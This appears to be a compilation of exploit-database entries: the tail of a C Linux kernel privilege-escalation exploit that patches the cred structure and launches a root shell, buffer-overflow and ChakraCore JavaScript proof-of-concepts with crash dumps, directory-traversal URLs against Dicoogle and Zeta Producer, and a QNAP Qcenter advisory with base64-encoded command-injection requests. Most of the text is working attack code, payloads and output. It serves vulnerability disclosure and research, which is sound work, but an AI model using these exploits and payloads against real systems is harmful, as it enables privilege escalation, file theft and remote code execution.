			if(cred_struct < PHYS_OFFSET) {
				continue;
			}
			
			unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
			
			if(test_uid != uid) {
				continue;
			}
                        msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
                        msg("Cred structure at %llx\n", cred_struct);
			msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
			
			return cred_struct;
		}
	}
	fail("failed to find sk_rcvtimeo.\n");
}

static void
hammer_cred(unsigned long addr) {
	msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
	unsigned long val = read64(addr) & 0xFFFFFFFFUL;
	w64(val); 
	w64(0); w64(0); w64(0); w64(0);
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
#undef w64
}

int
main(int argc, char **argv) {
	initialize();
	hammer_cred(find_cred());
	msg("credentials patched, launching shell...\n");
	if(execl("/bin/sh", "/bin/sh", NULL)) {
		fail("exec %s\n", strerror(errno));
	}
}
            
# Exploit Title: Awk to Perl 1.007-5 - Buffer Overflow (PoC)
# Author: Todor Donev
# Date: 2018-07-11
# Software: Linux Awk to Perl Translator '/usr/bin/a2p'
# Version: 1.007-5
# CVE: N/A
# Tested on: CentOS 6.9, Ubuntu 10

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x1060	4192
ecx            0x1	1
edx            0x41414141	1094795585
ebx            0x880ff4	8916980
esp            0xbffff0f0	0xbffff0f0
ebp            0xbffff118	0xbffff118
esi            0x41414141	1094795585
edi            0x8062920	134621472
eip            0x74ee65	0x74ee65 <fgets+53>
eflags         0x210216	[ PF AF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)
            
# Exploit Title: Dicoogle PACS 2.5.0 - Directory Traversal
# Date: 2018-05-25
# Software Link: http://www.dicoogle.com/home
# Version: Dicoogle PACS 2.5.0-20171229_1522
# Category: webapps
# Tested on: Windows 2012 R2
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt

# 1. Description
# Dicoogle is an open source medical imaging repository with an extensible
# indexing system and distributed mechanisms. In version 2.5.0, it is vulnerable
# to local file inclusion. This allows an attacker to read arbitrary files that the
# web user has access to. Admin credentials aren't required. The ‘UID’ parameter
# via GET is vulnerable.

# 2. Proof of Concept

http://Target:8080/exportFile?UID=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
            
/*
BoundFunction::NewInstance is used to handle calls to a bound function. The method first allocates a new argument array and copies the prepended arguments and others into the new argument array and calls the actual function. The problem is, it doesn't care about the CallFlags_ExtraArg flag which indicates that there's an extra argument (new.target in the PoC) at the end of the argument array. So the size of the new argument array created with the CallFlags_ExtraArg flag will be always 1 less then required, this leads to an OOB read.

PoC:
*/

function func() {
    new.target.x;
}

let bound = func.bind({}, 1);

Reflect.construct(bound, []);
            
SEC Consult Vulnerability Lab Security Advisory < 20180712-0 >
=======================================================================
              title: Remote Code Execution & Local File Disclosure
            product: Zeta Producer Desktop CMS
 vulnerable version: <=14.2.0
      fixed version: >=14.2.1
         CVE number: CVE-2018-13981, CVE-2018-13980
             impact: critical
           homepage: https://www.zeta-producer.com
              found: 2017-11-25
                 by: P. Morimoto (Office Bangkok)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"With Zeta Producer, the website builder and online shop system for Windows, 
you can create and manage your website locally, on your computer. 
Get without expertise in 3 steps to your own homepage: select design, 
paste content, publish website. Finished."

Source: https://www.zeta-producer.com/de/index.html


Business recommendation:
------------------------
The vendor provides a patched version which should be installed immediately.

Users of the product also need to verify that the affected widgets are updated in
the corresponding website project! It could be necessary to rebuild the whole project
or copy the new widgets to the website projects. For further information consult the
vendor.

Furthermore, an in-depth security analysis is highly advised, as the software may be
affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Remote Code Execution (CVE-2018-13981)
The email contact functionality of the widget "formmailer" can upload files
to the server but if the user uploads a PHP script with a .php extension 
then the server will rename it to .phps to prevent PHP code execution.

However, the attacker can upload .php5 or .phtml to the server without any 
restriction. These alternative file extensions can be executed as PHP code. 

Furthermore, the server will create a folder to store the files, with a
random name using PHP's "uniqid" function.

Unfortunately, if the server permits directory listing, the attacker
can easily browse to the uploaded PHP script. If no directory listing is 
enabled the attacker can still bruteforce the random name to gain remote 
code execution via the PHP script as well. Testing on a local server it 
took about 20 seconds to brute force the random name. This attack will 
be slower over the Internet but it is still feasible.

Also, if the user runs the Zeta Producer Desktop CMS GUI client locally,
they are also vulnerable because the web server will be running on TCP port 9153.

The root cause is in the widget "formmailer" which is enabled by default.
The following files are affected:
- /assets/php/formmailer/SendEmail.php
- /assets/php/formmailer/functions.php


2) Local File Disclosure (CVE-2018-13980)
If the user enables the widget "filebrowser" on Zeta Producer Desktop CMS an 
unauthenticated attacker can read local files by exploiting path traversal issues. 

The following files are affected:
- /assets/php/filebrowser/filebrowser.main.php


Proof of concept:
-----------------
1) Remote Code Execution (CVE-2018-13981)
The following python script can be used to exploit the chain of vulnerabilities.
[.. code has been removed to prevent misuses ..]

When the script is executed, a PHP script (shell) will be uploaded automatically.
# $ python exploit.py
# [+] injecting webshell to http://target/assets/php/formmailer/SendEmail.php
#
# 5a1a5bc991afe
# 5a1a5bc99453a
# 10812
# [*] Found :  http://target/assets/php/formmailer/upload_5a1a5bc992772/sectest.php5
# uid=33(www-data) gid=33(www-data) groups=33(www-data)


2) Local File Disclosure (CVE-2018-13980)
The parameter "file" in the "filebrowser.main.php" script can be exploited to read
arbitrary files from the OS with the privileges of the web server user.
Any unauthenticated user can exploit this issue!

http://target/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download
http://target/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc&do=list


Vulnerable / tested versions:
-----------------------------
The following versions have been tested which were the latest version available 
at the time of the test:

Zeta Producer Desktop CMS 14.1.0
Zeta Producer Desktop CMS 14.2.0

Source: 
- https://www.zeta-producer.com/de/download.html
- https://github.com/ZetaSoftware/zeta-producer-content/


Vendor contact timeline:
------------------------
2017-11-29: Contacting vendor through info@zeta-producer.com and various other
            email addresses from the website. No reply.
2017-12-13: Contacting vendor again, extending email address list, no reply
2018-01-09: Contacting vendor again
2018-01-10: Vendor replies, requests transmission of security advisory
2018-01-10: Sending unencrypted security advisory
2018-07-02: There was no feedback from the vendor but the version 14.2.1 fixed
            the reported vulnerabilities.
2018-07-12: Public advisory release.


Solution:
---------
Upgrade to version 14.2.1 or newer. See the vendor's download page:

https://www.zeta-producer.com/de/download.html

Users of the product also need to verify that the affected widgets are updated in
the corresponding website project! It could be necessary to rebuild the whole project
or copy the new widgets to the website projects. For further information consult the
vendor.


Workaround:
-----------
Remove "formmailer" and "filebrowser" widgets.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
            
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

QNAP Qcenter Virtual Appliance Multiple Vulnerabilities

1. *Advisory Information*

Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2018-0006
Advisory URL:
http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities
Date published: 2018-07-11
Date of last update: 2018-07-11
Vendors contacted: QNAP
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Information Exposure [CWE-200], Command Injection [CWE-77],
Command Injection [CWE-77], Command Injection [CWE-77],
Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709,
CVE-2018-0710

3. *Vulnerability Description*

QNAP's website states that:

[1] Q'center Virtual Appliance is a central management platform that
enables you to consolidate the management of multiple QNAP NAS. The
Q'center web interface gives you the ease-of-use, cost-efficiency,
convenience and flexibility to manage multiple NAS, across multiple
sites, from any internet browser.

The platform's provides centralized web-based administration to manage
the following features:

- Review HDD S.M.A.R.T. values
- Monitor system status
- Manage apps and shared folders
- Review infographice reports

Multiple vulnerabilities were found in the Q'center Virtual Appliance
web console that would allow an attacker to execute arbitrary commands
on the system.

4. *Vulnerable versions*

. Q'center Virtual Appliance Version 1.6.1056 (20170825)
. Q'center Virtual Appliance Version 1.6.1075 (20171123)
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

QNAP  published the following Security Note:

. https://www.qnap.com/en-us/security-advisory/nas-201807-10

6. *Credits*

These vulnerabilities were discovered and researched by Ivan Huertas
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

QNAP's Q'center Virtual Appliance web console includes a functionality
that would allow an authenticated attacker to elevate privileges on the
system. We describe this issue in section 7.1.

Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command
execution.

7.1. *Privilege escalation*

[CVE-2018-0706]
The application contains an API endpoint that returns information about
the accounts defined in the database. The information returned is
informative for all the users except for the admin user, which cames
with every installation, where an extra field is presented. This extra
field (new_password) contains the password defined at installation time
for the admin user encoded in base64.

Any authenticated user could access this API endpoint and retrieve the
admin user's password, therefore being able to login as an administrator.

The following proof of concept shows a user with viewer access
retrieving the admin's password encoded in base64 in the new_password
field.

/-----
GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432;
_ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false
Connection: close

HTTP/1.1 200 OK
Date: Thu, 01 Mar 2018 19:23:43 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/json
Content-Length: 878
Connection: close

{
"total_count": 2,
"account": [
{
"dst_enable": false,
"name": "admin",
"default": true,
"new_password": "YWRtaW5pc3RyYWRvcg==",
"authentication": 0,
"create_time": {
"$date": 1519917983616
},
"role": 4294967295,
"timezone_code": 17,
"last_login": {
"$date": 1519929869797
},
"_id": "5a981b9f3af7e2030c883592",
"email": "",
"description": "administrator"
},
{
"dst_enable": false,
"name": "viewer",
"register_code": "",
"authentication": 0,
"create_time": {
"$date": 1519929122332
},
"role": 1082130432,
"timezone_code": 17,
"last_login": {
"$date": 1519932215818
},
"_id": "5a9847223af7e2034924e7b6",
"email": "",
"description": ""
}
]
}
-----/

As can be seen in the following excerpt, the decoded base64 data
corresponds to the plaintext administrator password set at installation
time.

/-----
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d
administrador
-----/

7.2. *Command Execution in change password for the admin user*

[CVE-2018-0707]
When the admin user performs a password change, the application executes
an OS command to impact the changes. The input is not properly sanitized
when passed down to the OS, allowing an attacker to run arbitrary
commands.

/-----
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1
Host: 192.168.1.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.209/qcenter/
Content-Length: 118
Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295;
_ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547;
AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false
Connection: close

{"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="}
-----/

The API requires to send the password encoded in base64. This makes a
lot easier to inject command as we do not need to bypass any filters.
For the admin user in the web application, there is also a backing user
present on the OS. When a password change is requested for this user,
the values submitted to the API are included in a "sudo passwd" command,
where the injection occurs.

In this particular case, the old_password must match the current
password, which can be obtained by exploiting [CVE-2018-0706].

7.3. *Command Execution in network config update*

[CVE-2018-0708]
The admin user created at installation time can modify the network
configuration. In order to do this, the admin has to access the settings
section which is protected by the OS password (which could be obtained
using the Privilege Escalation vulnerability described above). However,
we identified that a user with the Power User profile could also execute
this function, despite access not being provided through the web
application interface. This function requires to send the admin user
password encoded in base64 in the passwd field. This value is then used
to perform a sudo operation in the OS to change the network settings. We
used the passwd field to inject command
(";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/network_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 87
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"}
-----/

The passwd parameter is used in bash echo command unsanitized.

7.4. *Command Execution in date config update*

[CVE-2018-0709]
The admin user created at installation time is capable of modifying the
date configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability described above).
However, we identified that a user with the Power User profile could
execute this function, despite the access is not provided through the
web application interface. This function requires to submit the admin
user password encoded in base64 in the passwd field. This value is then
used to perform a sudo operation in the OS to change the date
configuration settings. We used the passwd field to inject command
(";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/date_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 153
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"}
-----/

The passwd parameter is used in bash echo command unsanitized.

7.5. *Command Execution in SSH settings config update*
[CVE-2018-0710]
The admin user created at installation time is capable of modifying the
SSH configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability). However, we
identified that a user with the Power User profile could execute this
function, despite the access is not provided through the web application
interface. This function requires to submit the admin user password
encoded in base64 in the passwd field. This value is then used to
perform a sudo operation in the OS to change the date configuration
settings. We used the passwd field to inject command
("";touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.

/-----
POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 82
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close

{"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="}
-----/

The passwd parameter is used in bash echo command unsanitized.

8. *Report Timeline*
2018-03-13: Core Security sent an initial notification to QNAP,
including a draft advisory.
2018-03-14: QNAP replied that they received the draft version of the
advisory and that they would review it.
2018-03-23: Core Security requested a status update.
2018-04-10: Core Security requested a confirmation about the reported
vulnerabilities and a tentative timescale to fix them.
2018-04-12: QNAP answered saying that they were unable to reproduce the
reported vulnerabilities and asked for more detailed information to
reproduce them.
2018-04-13: Core Security sent a more detailed guide to test.
2018-04-16: QNAP confirmed reception.
2018-04-26: Core Security requested a status update.
2018-04-29: QNAP confirmed the reported vulnerabilities and informed
that their software team were working in a fixed version.
2018-05-21: Core Security requested a status update.
2018-05-28: QNAP informed that a new version of Q'center would be
release by the week of June 4.
2018-05-28: Core Security thanked for the update and proposed June 13th
as publication date.
2018-05-29: QNAP answered saying that the new Q'center release was
delayed and asked to postpone the publication a week later.
2018-05-29: Core Security asked for a solidified release date in order
to go public at the same time.
2018-06-04: QNAP informed that they didn't have a confirmed date yet.
2018-06-08: Core Security asked QNAP for a status update.
2018-06-12: QNAP notified that Q'center was under testing, for that
reason they didn't have a confirmed release date.
2018-06-25: Core Security asked again for a status update.
2018-06-27: QNAP replied that they were expecting to release their
security advisory next week Thursday or Friday.
2018-06-28: Core Security informed QNAP that recommend vendors not to
publish near the weekend and proposed Wednesday July 11th as the
publication date.
2018-07-02: Core Security asked for a confirmation about the proposed
date.
2018-06-27: QNAP confirmed July 11th as the publication date.
2018-07-11: Advisory CORE-2018-0006 published.

9. *References*

[1] https://www.qnap.com/solution/qcenter/index.php

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.

11. *About Core Security*

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
            
/*
Here's a PoC:
*/

function opt(str) {
    for (let i = 0; i < 200; i++) {
        let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
    }
}

opt('x');
opt(0x1234);

/*
Here's the IR code of the PoC before the global optimization phase:
---------
                       FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var                            #
    s9.var          =  LdSlot         s32(s18l[53]).var                       #
    s7.var          =  LdSlot         s20(s18l[51]).var                       #
    s8.var          =  LdSlot         s19(s18l[52]).var                       #
    s1[Object].var  =  Ld_A           0x7FFFF47A0000 (GlobalObject)[Object].var #
    s2.var          =  LdC_A_I4       0 (0x0).i32                             #
    s3.var          =  LdC_A_I4       200 (0xC8).i32                          #
    s4.var          =  LdC_A_I4       1 (0x1).i32                             #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b 


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b 
    s17.i32         =  IncrLoopBodyCount  s17.i32                             #000b 
                       BrLt_A         $L3, s8.var, s3.var                     #000b 
                       Br             $L2                                     #0010 
---------
$L3:                                                                          #0013 


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
    s13.var         =  Ld_A           s7.var                                  #0013 
                       CheckFixedFld  s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s12[ffunc][Object].var = Ld_A     0x7FFFF47972C0 (FunctionObject).var     #
    s22.var         =  StartCall      2 (0x2).i32                             #001a 
    s36.var         =  BytecodeArgOutCapture  s13.var                         #001d 
    s24[String].var =  Conv_PrimStr   s5.var                                  #0020 
    s25[String].var =  Conv_PrimStr   s7.var                                  #0020 
    s26[String].var =  Conv_PrimStr   s6.var                                  #0020 
                       ByteCodeUses   s7                                      #0020 
    s27.var         =  SetConcatStrMultiItemBE  s24[String].var               #0020 
    s28.var         =  SetConcatStrMultiItemBE  s25[String].var, s27.var      #0020 
    s29.var         =  SetConcatStrMultiItemBE  s26[String].var, s28.var      #0020 
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var              #0020 
    s35.var         =  BytecodeArgOutCapture  s14.var                         #0025 
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028 
    arg1(s23)<0>.var = ArgOut_A       s36.var, s22.var                        #0028 
    arg2(s30)<8>.var = ArgOut_A       s35.var, arg1(s23)<0>.var               #0028 
                       ByteCodeUses   s12                                     #0028 
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028 
    s9.var          =  Ld_A           s31.var                                 #0032 


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035 
    s8.var          =  Incr_A         s8.var                                  #0035 
                       Br             $L1                                     #0038 
---------
$L2:                                                                          #003d 


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #0038 
    s16.i64         =  Ld_I4          61 (0x3D).i64                           #003d 
    s19(s18l[52]).var = StSlot        s8.var                                  #003e 
    s32(s18l[53]).var = StSlot        s9.var                                  #003e 
                       StLoopBodyCount  s17.i32                               #003e 
                       Ret            s16.i64                                 #003e 
----------------------------------------------------------------------------------------

After the global optimization phase:
---------
    FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var!                           #
    s9[LikelyCanBeTaggedValue_Int].var = LdSlot  s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! #
    s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot  s20(s18l[51])[LikelyCanBeTaggedValue_String].var! #
    s8[LikelyCanBeTaggedValue_Int].var = LdSlot  s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
    s42(s8).i32     =  FromVar        s8[LikelyCanBeTaggedValue_Int].var      #      Bailout: #000b (BailOutIntOnly)
    s27.var         =  SetConcatStrMultiItemBE  s5[String].var                #0020 
    s49[String].var =  Conv_PrimStr   s7<s44>[String].var                     #
    s28.var         =  SetConcatStrMultiItemBE  s49[String].var!, s27.var!    #0020 
    s29.var         =  SetConcatStrMultiItemBE  s6[String].var, s28.var!      #0020 
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var!             #0020 
                       BailTarget                                             #      Bailout: #000b (BailOutShared)
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b 


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b 
    s17.i32         =  IncrLoopBodyCount  s17.i32!                            #000b 
                       BrGe_I4        $L2, s42(s8).i32, 200 (0xC8).i32        #000b 


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
                       CheckFixedFld  s43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s22.var         =  StartCall      2 (0x2).i32                             #001a 
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028 
    arg1(s23)<0>.var = ArgOut_A       s7<s44>[String].var, s22.var!           #0028 
    arg2(s30)<8>.var = ArgOut_A       s14[String].var, arg1(s23)<0>.var!      #0028 
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028  Bailout: #0032 (BailOutOnImplicitCalls)
    s9[CanBeTaggedValue_Int_Number].var = Ld_A  s31[CanBeTaggedValue_Int_Number].var! #0032 


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035 
    s42(s8).i32     =  Add_I4         s42(s8).i32!, 1 (0x1).i32               #0035 
                       Br             $L1                                     #0038 
---------
$L2:                                                                          #003d 


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #003d 
    s8[CanBeTaggedValue_Int].var = ToVar  s42(s8).i32!                        #003e 
    s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot  s8[CanBeTaggedValue_Int].var! #003e 
    s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot  s9[LikelyCanBeTaggedValue_Int_Number].var! #003e 
                       StLoopBodyCount  s17.i32!                              #003e 
                       Ret            61 (0x3D).i32                           #003e 
----------------------------------------------------------------------------------------

Crash log:
[----------------------------------registers-----------------------------------]
RAX: 0x1000000001234 
RBX: 0x7ffff47c5ff4 --> 0x31 ('1')
RCX: 0x7ff7f4600000 --> 0x0 
RDX: 0x0 
RSI: 0x80000001 --> 0x0 
RDI: 0x1000000001234 
RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...)
RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 
RIP: 0x7ff7f385017a (cmp    QWORD PTR [rax],r10)
R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R9 : 0x7ff7f4600000 --> 0x0 
R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R12: 0x0 
R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R14: 0x0 
R15: 0x1000000001234
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ff7f385016e:  mov    BYTE PTR [rcx+rax*1],0x1
   0x7ff7f3850172:  mov    rax,QWORD PTR [rbp-0x10]
   0x7ff7f3850176:  mov    r10,QWORD PTR [rbp-0x18]
=> 0x7ff7f385017a:  cmp    QWORD PTR [rax],r10
   0x7ff7f385017d:  je     0x7ff7f385037c
   0x7ff7f3850183:  mov    rcx,rax
   0x7ff7f3850186:  mov    QWORD PTR [rbp-0x18],rcx
   0x7ff7f385018a:  mov    eax,DWORD PTR [rcx+0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 
0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>:  push   rbp)
0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 
0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 
0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...)
